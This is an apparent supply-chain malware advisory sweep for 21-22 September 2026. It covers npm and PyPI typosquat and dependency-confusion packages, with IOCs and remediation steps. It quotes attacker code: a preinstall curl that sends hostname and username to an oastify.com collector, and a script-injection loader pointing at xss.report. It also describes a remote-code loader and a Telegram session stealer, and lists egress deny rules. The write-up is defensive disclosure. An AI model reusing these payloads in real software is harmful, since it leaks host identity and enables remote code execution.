Feed
HighAdvisory sweepPublished 22 Sept 202639 packages · 57 versions

GitHub Advisory malware sweep - 2026-09-21 (late) + 2026-09-22 (npm `@baanx/abis` + `@baanx/blockchain-config` `oob.algamil7x.xyz` DNS-OOB day 5; `hardhat-base` + `hardhat-core` + `hardhat-devkit` Ethereum-toolchain typosquats with axios-loader RCE via `ipcheck-hashed.vercel.app`; `@uh-platform/*` + `@uol-afiliados/affiliated-config-lib` + `@asdfaskdjfksadhfkasf` Burp Collaborator `oastify.com` dep-confusion; `@vite-*/*` six-package batch quarantine; `test-react-app-{in,out,way}` + `de-morgan` + `transform-es2015-unicode-regex` + `emoji-prints-fancy` Aug 4 residual typosquat quarantine; `math-universe`/`mathmain`/`mathsbase` batch quarantine; pip `pullgetsage` Telegram Desktop tdata stealer; `blue-string-formatter-utilss` `xss.report` DOM loader; pentest/CTF artefacts (`bnppf-flag-icons`, `radio-player-theme`, `my-ctf-helper-script-9921`, `bytepack-probe-a7x3`, pip `starlette-healthchecks`))

Summary

GHSA 2026-09-21 (late) + 2026-09-22: ~25 new npm advisories + 2 pip. Day 5 of the oob.algamil7x.xyz DNS-OOB operator adds @baanx/abis and @baanx/blockchain-config at 9.9.11. Three hardhat-* typosquats (Ethereum toolchain) carry real axios-loader RCE via ipcheck-hashed.vercel.app. @uh-platform/* (5 pkgs) plus @uol-afiliados and @asdfaskdjfksadhfkasf fire Burp Collaborator OOB. pip pullgetsage archives Telegram Desktop tdata and POSTs to Cloudflare Workers.

dependency-confusiontyposquatdns-exfiltrationcredential-theftobfuscationci-cd-compromise
Incident type
Advisory sweep. A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
Detected by
GitHub Advisory Database · OpenSSF malicious-packages · OpenSSF Package Analysis · Amazon Inspector · ESTsecurity · kam193/bad-packages · jaschadub/compromised-packages-check
Also known as
2026-09-22 GHSA npm sweep · @baanx/abis + @baanx/blockchain-config algamil7x.xyz day 5 · hardhat-* ipcheck-hashed.vercel.app axios-loader RCE · @uh-platform oastify.com Burp Collaborator wave · @vite-*/* 6-package batch quarantine · test-react-app-* + Babel lookalike Aug 4 residual quarantine · pullgetsage pip Telegram tdata stealer
Ecosystems
npmPyPI
Packages tracked
39

What happened

Between roughly 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC, GitHub Advisory Database (plus the OpenSSF malicious-packages bulk export and Amazon Inspector's IN-MAL feed) published approximately 25 new npm malware advisories and 2 pip advisories. The window is dominated by two operator continuations from prior days plus one new typosquat wave with confirmed require-time RCE.

Cluster A - @baanx/* oob.algamil7x.xyz DNS-OOB (day 5)

PackageVersionMALPrefix
@baanx/abis9.9.11MAL-2026-16351bxabis
@baanx/blockchain-config9.9.11MAL-2026-16352bxcfg

Both published 2026-09-21 16:52-53 UTC and detected by Amazon Inspector within minutes. The install chain matches the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep) verbatim: scripts.install: node index.js loads a runtime/support/telemetry/probe/impl.js module which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), concatenates with a timestamp and a per-package prefix, and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files (c7a1f4.js and f0d4b7.js this time) carry String.fromCharCode hex-array obfuscation of method names and destination domain plus telemetry/connectivity probe cover-story comments. Same operator, same DNS zone, same code style - now spanning eight consecutive days.

Day tally so far: day 1 (2026-09-18, @tink/tink-link-core@9.9.10, tinkcore), day 2 (2026-09-19, four @shared-web/@shared-runtime/@insiderintelligence packages at 9.9.10), day 3 (quiet), day 4 (2026-09-21, @baanx/solana-lib@9.9.9/9.9.10, bxsol), day 5 (today, @baanx/abis + @baanx/blockchain-config at 9.9.11, bxabis + bxcfg). Expect day 6 tomorrow under yet another internal-lookalike scope.

Cluster B - hardhat-* axios-loader RCE typosquat wave

PackageVersionsMALFirst seenUnpublished
hardhat-base2.2.0, 2.2.2MAL-2026-163482026-09-14 02:55 UTC2026-09-14 13:49 UTC (~10 h)
hardhat-core1.0.0, 2.1.2MAL-2026-37132026-05-13 11:45 UTC (1.0.0), 2026-09-17 00:30 UTC (2.1.2)2026-09-17 02:40 UTC (2.1.2, ~2 h)
hardhat-devkit2.3.6MAL-2026-163492026-09-17 21:49 UTC2026-09-17 22:36 UTC (~47 min)

All three impersonate the Ethereum hardhat toolchain. hardhat-base's README self-identifies as such and copies pino logger badges as further camouflage. Shared payload primitive:

  1. Module exports a "middleware" function
  2. On invocation, child_process.spawn a detached Node process running lib/caller.js
  3. lib/caller.js base64-decodes a hardcoded URL held in a fake DEV_API_KEY process shim (decodes to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5 for hardhat-core)
  4. POSTs to that endpoint via axios
  5. Passes the response body to new Function.constructor('require', responseBody)
  6. Invokes the resulting function with the real require

The anonymous Vercel-hosted endpoint gets arbitrary Node RCE with full module-system access, and the payload can be swapped without republishing the package. Same architectural class as chai-testing (Cluster D of 2026-09-21 sweep) but with the Vercel-hosted RCE endpoint (ipcheck-hashed.vercel.app) instead of an inline Function() build.

All three packages were operator-unpublished within hours of publish. Private mirrors and npm-follower feeds may still hold the tarballs. The MAL-2026-3713 record for hardhat-core@1.0.0 dates to 2026-05-13 (long-standing squat); the operator republished the same primitive under hardhat-core@2.1.2 on 2026-09-17 and then extended into hardhat-base and hardhat-devkit. This is one operator, three package names.

Cluster C - @uh-platform/* + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion

PackageVersionGHSAMAL
@uh-platform/cloud101.0.0GHSA-g4jv-48fc-mhh2MAL-2026-16358
@uh-platform/domain-widget100.0.0GHSA-xh82-8x4m-9w6cMAL-2026-16359
@uh-platform/nadaver102.0.0-MAL-2026-16360
@uh-platform/nadaver2102.0.0GHSA-99r3-9hc2-372pMAL-2026-16361
@uh-platform/webcard99.0.0GHSA-5h99-j25f-5q62MAL-2026-16362
@uol-afiliados/affiliated-config-lib102.0.0GHSA-mh6g-473c-fvhxMAL-2026-16370
@asdfaskdjfksadhfkasf/nadaver2102.0.0-MAL-2026-16357

All seven published 2026-09-21 17:17-19:21 UTC (2-hour window; one operator engagement). Manifest descriptions read "Nodejs SDK for Redacted". Sentinel dep-confusion versions (99.0.0-102.0.0) squat plausibly-internal names. Payload:

// scripts.preinstall: node index.js
child_process.exec(`curl http://$(hostname).$(whoami).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`)

On install, the operator sees the source IP, hostname, and OS username of every host that resolved one of these dep-confusion names ahead of an internal registry. The @uol-afiliados variant curls a namespace-scoped URL (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/[package]). The @asdfaskdjfksadhfkasf/nadaver2 scope is spam-labelled iteration by the same operator (likely test publishes).

Pentest-shaped but every install leaks real host identity. Same Burp Collaborator subdomain across all seven packages confirms single-operator attribution.

Cluster D - @vite-*/* + @vitets six-package batch quarantine

PackageVersionGHSAFirst seenQuarantined
@vite-tab/tab3.15.10, 5.7.0GHSA-74pv-97c8-9hfp2026-06-30 06:51 UTC2026-09-21 23:16 UTC
@vite-tab/tabui7.15.16GHSA-q5h9-3mvh-45cf2026-07-14 06:45 UTC2026-09-21 23:15 UTC
@vitets/vite-ts1.5.10GHSA-733v-wc48-f65r2026-06-29 20:57 UTC2026-09-21 23:16 UTC
@vite-pro/vite-ui2.5.10GHSA-phpx-wpr2-26pv2026-06-29 20:38 UTC2026-09-21 23:14 UTC
@vite-mcp/vite-type6.44.1GHSA-mqf9-3wx8-45cj2026-06-29 20:03 UTC2026-09-21 23:12 UTC
@vite-ts/vite-ui6.44.1GHSA-jm6h-xxm2-2mr32026-06-29 20:18 UTC2026-09-21 23:12 UTC

All six had a single "legit-looking" version published 2026-06-29 through 2026-07-14 (a coordinated multi-scope typosquat wave against the Vite toolchain), remained live for 2-3 months, and were batch-quarantined by npm in a 4-minute window on 2026-09-21 23:12-23:16 UTC. The advisories carry the generic CWE-506 boilerplate but the naming pattern (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts all publishing packages named tab/tabui/vite-ts/vite-ui/vite-type) is a classic typosquat cluster. Any lockfile with a hit was exposed for ~11 weeks.

Cluster E - Aug 4 residual typosquat batch quarantine

PackageVersionGHSAFirst seenQuarantined
test-react-app-in1.0.0GHSA-wm2w-4m2r-mv732026-08-04 19:13 UTC2026-09-22 03:15 UTC
test-react-app-out1.0.0GHSA-vx3p-fwmg-p7g82026-08-04 19:14 UTC2026-09-22 03:15 UTC
test-react-app-way1.0.0GHSA-264w-9h55-v6372026-08-04 19:13 UTC2026-09-22 03:15 UTC
de-morgan2.1.3GHSA-2vc2-gwg3-2gpx2026-08-04 19:28 UTC2026-09-22 03:15 UTC
transform-es2015-unicode-regex6.24.1GHSA-jcxm-5v55-599q2026-08-04 19:36 UTC2026-09-22 03:15 UTC
emoji-prints-fancy5.6.4GHSA-m523-mggx-3fgr2026-07-19 09:49 UTC2026-09-22 03:16 UTC

Batch-quarantined by npm in a 90-second window on 2026-09-22 03:15-03:16 UTC. All six had a single version published within a 23-minute burst on 2026-08-04 19:13-19:36 UTC (except emoji-prints-fancy which landed two weeks earlier). This window overlaps the 2026-08-04 keyv/cacheable Shai-Hulud storm - late catch by npm's malware review of adjacent typosquat activity.

transform-es2015-unicode-regex@6.24.1 is notable: it mimics the version series of the legitimate Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1 (dropping the babel-plugin- prefix). A lockfile grep for the legitimate name won't catch it. de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse plausible version numbers to look established on a registry search. GHSA bodies are generic CWE-506 boilerplate; the specific payload is not disclosed but the batch quarantine implies a real one.

Cluster F - math-* typosquat batch quarantine

math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), and mathsbase@1.0.0/1.0.1/1.0.2 (GHSA-v4cx-64j6-84xm, MAL-2026-16369). All quarantined 2026-09-21 19:48-20:06 UTC. Lookalikes for mathjs/math-utils/mathbase. CWE-506 boilerplate advisories.

Cluster G - pip pullgetsage Telegram Desktop tdata stealer

pullgetsage@0.1.2 (MAL-2026-16366, GHSA-4whg-cvj9-8v3f). Description advertises "a library filled with books"; actual behaviour on install/import:

  1. Locates the installer's Telegram Desktop tdata directory (contains active session credentials)
  2. Archives it into a zip named aiosendletter_logs
  3. POSTs the zip to a hardcoded Cloudflare Workers endpoint
  4. Prints "aioletter initialized" and swallows any exception

Successful exfil = full account takeover of the installer's Telegram: message history, contact list, MFA codes routed through Telegram, admin rights on any bot/channel the installer manages. Same architectural class as SysBumps / TelegramGrabber but with a Cloudflare Workers front (bypasses simple IP-based egress filters).

Cluster H - pentest/CTF/research artefacts (real payloads, non-hostile framing)

  • bnppf-flag-icons@99.99.99 (MAL-2026-16350): self-labelled "SECURITY RESEARCH POC - see README"; BNPPF = BNP Paribas Fortis; sentinel 99.99.99 version pattern
  • radio-player-theme@1.0.0-6.0.0 (MAL-2026-16347): self-labelled "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation"; six versions on YesWeHack bounty engagement between 2026-09-11 and 2026-09-19
  • my-ctf-helper-script-9921@1.0.0 (GHSA-qhgh-m36j-h879, MAL-2026-16365): CTF-labelled name, real payload: top-level fetch to hardcoded webhook.site collector with document.cookie in query string on require/import. Browser-tier cookie exfil if loaded via unpkg or bundled with a require-at-build tool
  • bytepack-probe-a7x3@1.0.0/1.0.1 (GHSA-pjjj-2389-rwj6, MAL-2026-16364): declares a leak-internal dependency pointing to an external HTTPS tarball on an internal-looking domain; on npm install the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish
  • pip starlette-healthchecks@1.3.1/1.3.2 (MAL-2026-16356 per OpenSSF): typosquat of legitimate starlette-healthcheck (single "check"), telemetry probe on install; both versions still live on PyPI at publish time. Neutral framing but real network exfil

Cluster I - blue-string-formatter-utilss xss.report DOM loader

blue-string-formatter-utilss@1.2.0 (GHSA-4g26-86h7-34h3, MAL-2026-16363). Impersonates a string-formatting utility. payload.js IIFE:

(function(){
  const s = document.createElement('script');
  s.src = 'https://xss.report/c/k3rne111';
  document.body.appendChild(s);
})();

xss.report is a known XSS payload-distribution service; the injected script is attacker-controlled and can be swapped without republishing. Fires in any DOM environment: bundlers that vendor into browser builds, unpkg loaders, jsdom test runners. Operator-unpublished within an hour of publish (2026-09-17 21:20-22:35 UTC) but the tarball may still be cached by private mirrors.

Cluster J - misc quarantines (payload not disclosed in GHSA body)

  • @zig-design-system/react@99.0.0 (GHSA-rqjq-px4f-2m8r): Zig design-system typosquat; sentinel 99.0.0; quarantined 2026-09-21 23:39 UTC
  • @woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5 (MAL-2026-16354): Woodpecker CI web-shared component impersonation with inflated majors; three versions published within 2 hours on 2026-09-21
  • wos-library@99.0.0/999.999.999 + wos-library-ui@99.0.0/999.999.999 (GHSA-mfwv-9gcf-2mww, GHSA-wh36-rj36-m3ff, MAL-2026-16373): sentinel dep-confusion pair, quarantined 2026-09-21 23:36 UTC
  • react-context-form-tdsss@9.0.0 (GHSA-pg33-6m24-4p63, MAL-2026-16372): sentinel major on a react-context-form-lookalike name

Cross-operator patterns worth flagging

  1. The oob.algamil7x.xyz DNS-OOB operator is on day 5 (fourth publish day; day 3 was quiet). New scopes each day (@tink, @shared-web/@shared-runtime/@insiderintelligence, @baanx) but the same DNS zone, same code style, same String.fromCharCode obfuscation, same module.constructor._load evasion. If your egress rules still allow lookups against algamil7x.xyz, you have missed the durable IOC of this operator.
  2. *The `hardhat- axios-loader RCE is a new operator with a Vercel-hosted C2.** The primitive (detached child + base64-decoded URL + axios POST + Function.constructor eval) is the same architectural class as chai-testing (2026-09-21 Cluster D) but the C2 is different (ipcheck-hashed.vercel.app, not the inline Function()` build). Vercel-hosted C2 endpoints are becoming a pattern - they inherit Vercel's TLS and reputation, so plain domain-reputation egress filters miss them.
  3. Burp Collaborator OOB is now a per-day fixture. Different operators, different subdomains (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com today vs. others yesterday), but *.oastify.com is now consistently in the daily sweep.
  4. Late-catch batch quarantines are compressing. npm quarantined the @vite-*/* cluster (6 packages) in a 4-minute window and the Aug 4 residual cluster (6 packages) in a 90-second window. This is npm review triaging deferred cases in operator-grouped batches, and it means a lockfile hit today may correspond to exposure that started months ago.
  5. Telegram Desktop tdata is now a documented pip-side exfil target. pullgetsage is the first Telegram credential stealer in the DependencyWatch corpus. The tdata directory is a well-known Windows/macOS session-token store and other stealer families are likely to follow.

Registry state

All packages in Clusters A, D, E, F, I, J are flagged as malware on npm and quarantined (replaced with the 0.0.1-security holding package). Cluster B (hardhat-*) and Cluster H's bytepack-probe-a7x3 were operator-unpublished within hours; the tarballs may still be reachable via npm follower feeds and private mirrors. Cluster C (@uh-platform/*, @uol-afiliados, @asdfaskdjfksadhfkasf) is still live at publish time. Cluster G (pullgetsage) and Cluster H's starlette-healthchecks remain live on PyPI at publish time.

Durable network-edge mitigations: egress blocks on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com (or the specific pa33pg1od9cr4ffnrzec8864jvpmdd12 subdomain), xss.report, webhook.site, and unexpected Cloudflare Workers subdomains from CI runners.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check (PR #136). Per-package IOC details drawn from GHSA and OpenSSF osv/malicious/ advisory bodies published between 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC.

Affected packages (39)

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.

Impact

  • *Cluster A - npm `@baanx/ oob.algamil7x.xyz DNS-OOB (day 5 of the operator; new bxabis + bxcfg prefixes)**: @baanx/abis@9.9.11 (MAL-2026-16351, published 2026-09-21 17:15 UTC) and @baanx/blockchain-config@9.9.11 (MAL-2026-16352, same publish window). Same install-chain and evasion as the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep): scripts.install: node index.js loads runtime/support/telemetry/probe/impl.js, which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), joins them with a timestamp and a per-package prefix (bxabis for @baanx/abis, bxcfg for @baanx/blockchain-config, matching the bxsol prefix used yesterday on @baanx/solana-lib), and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files carry String.fromCharCode hex-array obfuscation and telemetry/connectivity probe` cover-story comments. Same operator, same DNS zone, same code style as days 1-4 (2026-09-18 through 2026-09-21). Amazon Inspector flagged both within minutes of each other
  • *Cluster B - npm `hardhat- Ethereum-toolchain typosquat wave with ipcheck-hashed.vercel.app axios-loader RCE**: hardhat-base@2.2.0/2.2.2 (MAL-2026-16348), hardhat-core@1.0.0/2.1.2 (MAL-2026-3713, republished 2026-09-17 after the original May 13 detection), hardhat-devkit@2.3.6 (MAL-2026-16349). Three packages impersonate the Ethereum hardhat toolchain (README self-identifies as hardhat-base, copies pino logger badges as camouflage). Shared payload primitive: the exported "middleware" spawns a *detached* Node child that runs lib/caller.js; the child base64-decodes a hardcoded URL held in a fake DEV_API_KEY process shim (decodes to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5 for hardhat-core), POSTs to it via axios, and passes the response body to new Function.constructor('require', s) invoked with the real require. This grants the anonymous Vercel-hosted endpoint arbitrary Node RCE with full module-system access. All three packages were operator-unpublished within hours (hardhat-base ~2h, hardhat-core-2.1.2 ~2h, hardhat-devkit ~47min) — but private mirrors and npm followers may still hold the tarballs. Same architectural class as chai-testing` (Cluster D of 2026-09-21 sweep) — detached require-time RCE via axios
  • *Cluster C - npm `@uh-platform/ + @uol-afiliados/affiliated-config-lib + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion (single-operator engagement)**: 5x @uh-platformcloud@101.0.0 (GHSA-g4jv-48fc-mhh2, MAL-2026-16358), domain-widget@100.0.0 (GHSA-xh82-8x4m-9w6c, MAL-2026-16359), nadaver@102.0.0 (MAL-2026-16360), nadaver2@102.0.0 (GHSA-99r3-9hc2-372p, MAL-2026-16361), webcard@99.0.0 (GHSA-5h99-j25f-5q62, MAL-2026-16362); plus @uol-afiliados/affiliated-config-lib@102.0.0 (GHSA-mh6g-473c-fvhx, MAL-2026-16370) and @asdfaskdjfksadhfkasf/nadaver2@102.0.0 (MAL-2026-16357). All published 2026-09-21 17:17-19:21 UTC with sentinel dep-confusion versions (99.0.0-102.0.0) and manifest description "Nodejs SDK for Redacted". Preinstall runs node index.js which invokes child_process.exec on a curl command whose URL embeds $(hostname).$(whoami) (some variants use $(hostname) as a DNS subdomain of pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com, some POST to it directly) — leaks source IP, hostname, and OS username to a Burp Collaborator instance. Pentest-shaped but the collector harvests real host identity from every install. The @asdfaskdjfksadhfkasf` scope is a spam-labelled iteration by the same operator
  • *Cluster D - npm `@vite-/ + @vitets` six-package batch quarantine (typosquat wave from June-July 2026)*: @vite-tab/tab@3.15.10/5.7.0 (GHSA-74pv-97c8-9hfp, MAL-2026-6988), @vite-tab/tabui@7.15.16 (GHSA-q5h9-3mvh-45cf, MAL-2026-16371), @vitets/vite-ts@1.5.10 (GHSA-733v-wc48-f65r), @vite-pro/vite-ui@2.5.10 (GHSA-phpx-wpr2-26pv), @vite-mcp/vite-type@6.44.1 (GHSA-mqf9-3wx8-45cj), @vite-ts/vite-ui@6.44.1 (GHSA-jm6h-xxm2-2mr3). All six had a single "legitimate-looking" version published 2026-06-29 through 2026-07-14 and were batch-quarantined by npm 2026-09-21 23:12-23:16 UTC (four-minute window; single ticket sweep). Advisory bodies carry the generic CWE-506 "any computer that has this package installed should be considered fully compromised" boilerplate — the specific per-package payload was not disclosed in the GHSA bodies, but the coordinated multi-scope naming (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts) is a classic typosquat cluster targeting the Vite toolchain
  • Cluster E - npm test-react-app-{in,out,way} + de-morgan + transform-es2015-unicode-regex + emoji-prints-fancy Aug 4 residual typosquat batch quarantine: test-react-app-in@1.0.0 (GHSA-wm2w-4m2r-mv73), test-react-app-out@1.0.0 (GHSA-vx3p-fwmg-p7g8), test-react-app-way@1.0.0 (GHSA-264w-9h55-v637), de-morgan@2.1.3 (GHSA-2vc2-gwg3-2gpx), transform-es2015-unicode-regex@6.24.1 (GHSA-jcxm-5v55-599q), emoji-prints-fancy@5.6.4 (GHSA-m523-mggx-3fgr). All were published in the 2026-08-04 window (except emoji-prints-fancy on 2026-07-19) and batch-quarantined by npm 2026-09-22 03:15-03:16 UTC (90-second sweep window). transform-es2015-unicode-regex@6.24.1 mimics the version series of the real Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1; de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse legitimate-looking version numbers to look plausible on a registry search. Late catch of an Aug 4 typosquat wave that landed alongside the keyv/cacheable Shai-Hulud storm. GHSA bodies are generic CWE-506 boilerplate; treat as install-time compromise until per-package IOC lands
  • *Cluster F - npm `math- typosquat batch quarantine**: math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), mathsbase@1.0.0/1.0.1/1.0.2` (GHSA-v4cx-64j6-84xm, MAL-2026-16369). Quarantined 2026-09-21 19:48-20:06 UTC. All three names are lookalikes for popular math libraries (mathjs, math-utils, mathbase). CWE-506 boilerplate advisories
  • Cluster G - pip pullgetsage@0.1.2 Telegram Desktop tdata stealer: MAL-2026-16366. Advertises itself as "a library filled with books" — actual behaviour: on install/import, archives the installer's Telegram Desktop tdata directory into a zip named aiosendletter_logs and POSTs it to a hardcoded Cloudflare Workers endpoint. tdata contains active Telegram session credentials — successful exfil gives the operator full account takeover of the installer's Telegram (message history, contact list, MFA codes routed through Telegram, admin rights on any Telegram bot/channel the installer manages). Concealment: package prints "aioletter initialized" and swallows all exceptions to look like a benign import. Same architectural class as the SysBumps / TelegramGrabber families but with a Cloudflare Workers front (bypasses simple IP-based egress filters)
  • Cluster H - pentest/CTF/research artefacts: bnppf-flag-icons@99.99.99 (MAL-2026-16350) — self-described "SECURITY RESEARCH POC" (BNPPF = BNP Paribas Fortis; sentinel 99.99.99 version). radio-player-theme@1.0.0-6.0.0 (MAL-2026-16347) — self-described "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation", six versions published 2026-09-11 through 2026-09-19 (YesWeHack bounty engagement). my-ctf-helper-script-9921@1.0.0 (GHSA-qhgh-m36j-h879, MAL-2026-16365) — CTF-labelled but real payload: on require/import, top-level fetch to a hardcoded webhook.site collector URL with document.cookie appended as a query-string parameter (browser-tier cookie exfil if loaded via unpkg or in a bundler that runs require at build). bytepack-probe-a7x3@1.0.0/1.0.1 (GHSA-pjjj-2389-rwj6, MAL-2026-16364) — SSRF-probe: package declares a leak-internal dependency pointing to an external HTTPS tarball on an internal-looking domain; on npm install the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish. pip starlette-healthchecks@1.3.1/1.3.2 (GHSA-4whg-cvj9-8v3f, MAL-2026-16356) — typosquat of legitimate starlette-healthcheck, telemetry probe (per bad-packages.kam193.eu). All Cluster H items are neutral/research disclosures but the payloads are real; hits should still be treated as compromise
  • Cluster I - npm blue-string-formatter-utilss@1.2.0 xss.report DOM loader: GHSA-4g26-86h7-34h3, MAL-2026-16363. Impersonates a string-formatting utility; payload.js IIFE creates a <script> element with src='https://xss.report/c/k3rne111' and appends it to document.body. xss.report is a known XSS payload-distribution service — the injected script is attacker-controlled and can be swapped without republishing the package. Fires in any DOM environment: bundlers that vendor the package into a browser build, unpkg loaders, jsdom-based test runners. Operator-unpublished within an hour
  • Cluster J - npm miscellaneous quarantines (payloads not disclosed in GHSA body): @zig-design-system/react@99.0.0 (GHSA-rqjq-px4f-2m8r) — Zig design-system typosquat, quarantined 2026-09-21 23:39 UTC. @woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5 (MAL-2026-16354) — Woodpecker CI web-shared component impersonation with sentinel-like inflated majors, three versions published within 2 hours on 2026-09-21. wos-library@99.0.0/999.999.999 + wos-library-ui@99.0.0/999.999.999 (GHSA-mfwv-9gcf-2mww + GHSA-wh36-rj36-m3ff, MAL-2026-16373) — sentinel dep-confusion pair quarantined 2026-09-21 23:36 UTC. react-context-form-tdsss@9.0.0 (GHSA-pg33-6m24-4p63, MAL-2026-16372) — sentinel major on a react-context-form-lookalike name. All boilerplate CWE-506; treat as install-time compromise pending IOC

What to do

  1. 1Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, requirements.txt, Pipfile.lock, and poetry.lock in your org for every package name in Clusters A through J. Uninstall on hit, wipe node_modules/.venv, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, G, H (subset), and I include real disclosed payloads (DNS-OOB, axios-loader RCE, Burp Collaborator OOB, Telegram tdata stealer, SSRF probe, xss.report DOM loader) - a hit on any of those is a compromise, not a warning
  2. 2*For Cluster A (`@baanx/ day 5)**: block oob.algamil7x.xyz at your resolver (same operator zone as the 2026-09-18, 2026-09-19, and 2026-09-21 clusters - now spanning eight days) and add every bx* prefix (bxsol, bxabis, bxcfg) to your DNS monitoring. Any host that installed the packages DNS-resolved a label carrying hostname/username/cwd to the operator - rotate credentials accessible from that host. If your organization owns any @baanx internal scope, pin it to your private registry with .npmrc; every new day this operator publishes under a fresh internal-looking scope name, so pin-by-scope is a losing game - the durable mitigation is resolver-level DNS blocking of algamil7x.xyz`
  3. 3*For Cluster B (`hardhat- axios-loader RCE)**: block ipcheck-hashed.vercel.app at CI egress (specifically the /api/auth/f1f097d93c318c92f0c5 path). Uninstall on hit and rotate every credential visible to the parent Node process. --ignore-scripts does NOT block this - the RCE fires when the package's exported middleware is invoked, which happens at import/require time in most Hardhat plugin loaders. If any developer or CI job installed a hardhat- package expecting the real Nomic Foundation hardhat toolchain (@nomicfoundation/hardhat-`), treat the workstation as compromised - the fetched payload is attacker-controlled and can be a wallet drainer, a stager, or a credential stealer depending on what the operator serves at the time
  4. 4*For Cluster C (`@uh-platform/ + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator)**: block *.oastify.com at CI egress (specifically pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com). If your org maintains an internal @uh-platform, @uol-afiliados, or similar-looking scope, pin it to your registry with .npmrc` and configure the internal registry to refuse public-npm publishes under those names. Pentest-shaped but each install leaks source IP, hostname, and OS username
  5. 5*For Cluster D (`@vite-/` batch)*: uninstall on hit; audit your Vite-tooling supply chain for any of the six exact package names. All were live for 2-3 months before quarantine, so a hit implies extended exposure. Rotate any credentials the parent Node process could reach during that window. Add all six scopes to your registry deny-list for at least 30 days
  6. 6*For Cluster E (`test-react-app- + de-morgan + transform-es2015-unicode-regex + emoji-prints-fancy)**: uninstall on hit. transform-es2015-unicode-regex in particular is dangerous because a lockfile grep for babel-plugin-transform-es2015-unicode-regex won't catch it - the malicious name drops the babel-plugin- prefix. Grep for the bare transform-es2015-unicode-regex` name too. Any lockfile with a hit was exposed for ~7 weeks
  7. 7*For Cluster F (`math- batch)**: uninstall math-universe, mathmain, mathsbase on hit; verify no lockfile intended mathjs` and typo'd one of these lookalike names
  8. 8For Cluster G (pullgetsage pip Telegram stealer): uninstall on hit AND treat the installer's Telegram account as compromised - log out ALL sessions (Telegram Settings > Devices > Terminate all other sessions), rotate 2FA, and audit sent messages for the past 24h for any evidence of operator interaction. If the installer was a Telegram bot admin, rotate the bot token immediately - the tdata archive contains stored bot credentials
  9. 9For Cluster H (pentest/CTF artefacts): uninstall on hit. For bnppf-flag-icons and radio-player-theme, these look neutral-research but the payloads are still live - block the collector domains. For my-ctf-helper-script-9921, block webhook.site at your CDN/CSP if any web build vendored the package. For bytepack-probe-a7x3, no npm-side residue if you didn't install during its 7-minute window, but private mirrors that snapshotted it may still serve it. For pip starlette-healthchecks, rename to starlette-healthcheck (single "check") if you meant the legit package
  10. 10For Cluster I (blue-string-formatter-utilss xss.report): block xss.report at your web CSP script-src; audit HTML/JS sources for any <script src="https://xss.report/..."> reference and reissue session cookies for visitors that hit those pages
  11. 11For Cluster J (misc quarantines): uninstall on hit and pin the internal-looking names (@zig-design-system, @woodpecker-web-shared, wos-library, react-context-form) to your private registry
  12. 12For every npm install in CI, prefer --ignore-scripts and enforce it at the runner level (but note it does NOT block Cluster B - the RCE fires on require, not on install script). Layer with egress denylists on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com, xss.report, webhook.site, and unexpected Cloudflare Workers subdomains. Extend the pin-lists from prior sweeps (@nimbusedge*/*, @baanx/*) with hardhat-base, hardhat-core, hardhat-devkit, @uh-platform/*, @uol-afiliados/*, @vite-tab/*, @vitets/*, @vite-pro/*, @vite-mcp/*, @vite-ts/*, @zig-design-system/*, @woodpecker-web-shared/*, wos-library*, react-context-form-*, de-morgan, transform-es2015-unicode-regex, emoji-prints-fancy, math-universe, mathmain, mathsbase, test-react-app-*, blue-string-formatter-utilss, bytepack-probe-*, bnppf-*, radio-player-theme, my-ctf-helper-script-*, and pip pullgetsage / starlette-healthchecks

References

multi-2026-09-22-ghsa-malware-sweep